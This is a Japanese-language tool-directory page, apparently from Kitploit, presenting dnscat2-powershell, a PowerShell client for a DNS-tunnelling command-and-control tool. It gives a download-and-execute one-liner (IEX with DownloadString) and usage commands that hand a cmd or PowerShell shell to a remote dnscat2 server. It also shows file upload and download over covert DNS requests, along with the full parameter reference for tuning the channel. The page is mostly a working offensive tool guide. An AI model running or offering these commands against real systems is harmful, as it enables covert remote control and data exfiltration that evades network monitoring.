Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
dnscat2-powershell — dnscat2(暗号化DNSコマンド&コントロールツール)のためのPowershellクライアント | Kitploit
ツール/GitHubGitHub/lukebaggett/dnscat2-powershell
暗号化/復号化ツールポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミングDNS分析Archived
GitHublukebaggett/dnscat2-powershell

dnscat2-powershell

dnscat2(暗号化DNSコマンド&コントロールツール)のためのPowershellクライアント

リポジトリを見る
4351233年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

dnscat2 は、@iagox86 (Ron Bowes) によるDNS covert channelツールであり、DNSリクエストを介してデータを転送するために使用されます。

これは、dnscat2 CクライアントのPowerShellバージョンです。

ブログ記事はこちら で、このスクリプトの目的と使用方法についてより詳細に説明しています。

このスクリプトを使用するには、Rubyの dnscat2サーバー が必要です。サーバーを実行する際には、必ず --no-cache オプションを追加してください。このクライアントはサーバーのキャッシュと互換性がありません。

セットアップ

まず、dnscat2サーバーをインストールします。 キャッシュを無効にしてサーバーを起動するには、--no-cache を使用します。サーバーを起動するコマンドは次のようになります: ruby dnscat2.rb --dns="domain=example.com" --no-cache

次に、Windows PowerShell(バージョン2.0以降)を起動します。以下のコマンドを使用して、dnscat2のPowerShell関数を読み込むことができます:

root@kitploit:~
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

例

Start-Dnscat2 は、クライアントとして使用される実際の関数です。-Domain を使用してdnscat2サーバーを指定します。

root@kitploit:~
コマンドセッションを開始し、DNSリクエストを8.8.8.8のポート53に送信します:
    Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8

cmdシェルを送信し、DNSリクエストをWindowsで設定されたデフォルトのDNSサーバーに送信します:
    Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd

コンソールセッションを開始します。CNAME、MX、AAAAリクエストのみを使用します:
    Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console

セッションを暗号化しません。暗号化はデフォルトで有効です。
    Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption

PowerShellコマンドセッションコマンド

クライアントは通常のdnscat2コマンド、またはそのコマンドのPowerShellバージョンを処理できます。コマンドのPowerShellバージョンを使用するには、クライアントが検出する特定のパラメータを設定します(これらはサーバー上のコマンドセッションから実行されるコマンドです):

root@kitploit:~
PowerShellシェルをシミュレートする新しいセッションを開始します(ExecPSのようなもの):
    exec psh

サーバー上のapp.exeを$app PowerShell変数に格納された16進文字列にアップロードします:
    upload app.exe hex:$app

$app PowerShell変数に格納されたバイト配列をサーバー上のapp.exeにダウンロードします:
    download bytes:$app app.exe

Start-Dnscat2

root@kitploit:~
-Domain <String>          dnscat2サーバーが使用するドメイン。
-DNSServer <String>       DNSクエリを送信するホスト名またはIPアドレス。(デフォルト: Windowsによって設定)
-DNSPort <Int32>          DNSクエリを送信するポート。(デフォルト: 53)

-Command                  コマンドセッションを開始します。(デフォルト)
-Exec <String>            プロセスのI/OをDnscat2セッションにリンクします。
-Console                  コンソールのI/OをDnscat2セッションにリンクします。
-ExecPS                   PowerShellセッションをシミュレートし、I/OをDnscat2セッションにリンクします。
                          警告: 終了すると、セッションだけでなく、dnscat2クライアント全体が終了します。

-PreSharedSecret          サーバーと同じシークレットを設定して認証し、MITMを防止します。
-NoEncryption             暗号化を使用しません。

-LookupTypes <String[]>   ランダムに切り替えるルックアップタイプの配列を設定します。
                          サポートされているのはTXT、MX、CNAME、A、およびAAAAレコードのみです。デフォルト: @(TXT, MX, CNAME)
-Delay <Int32>            各リクエスト間の遅延(ミリ秒単位)を設定します。(デフォルト: 0)
-MaxRandomDelay <Int32>   通常の遅延に追加されるランダムな遅延の最大値(ミリ秒単位)を設定します。(デフォルト: 0)
-MaxPacketSize <Int32>    dnscat2パケットの最大長。(デフォルト: 240)
-Name <String>            dnscat2セッションの名前。(デフォルト: ホスト名)

ExecPS および 'exec psh'

dnscat2-powershell は、サーバーからInvoke-Expressionにデータを渡すことでPowerShellセッションをシミュレートします。標準出力のみが返され、変数はクライアントの実行中保持されます。"exit" や "break" など、PowerShellを終了させるものに注意してください。これらはExecPSセッションだけでなく、dnscat2-powershellクライアント全体を終了させます。

その他のクレジット

  • db9 on stackoverflow's の BouncyCastle ECDHのデモンストレーション
  • FrankSpierings によるPowerShell(C#経由)での Salsa20 と Sha3 の実装
  • ECC用のBouncyCastle DLLのRebex Labsによる簡略版
ツールをダウンロード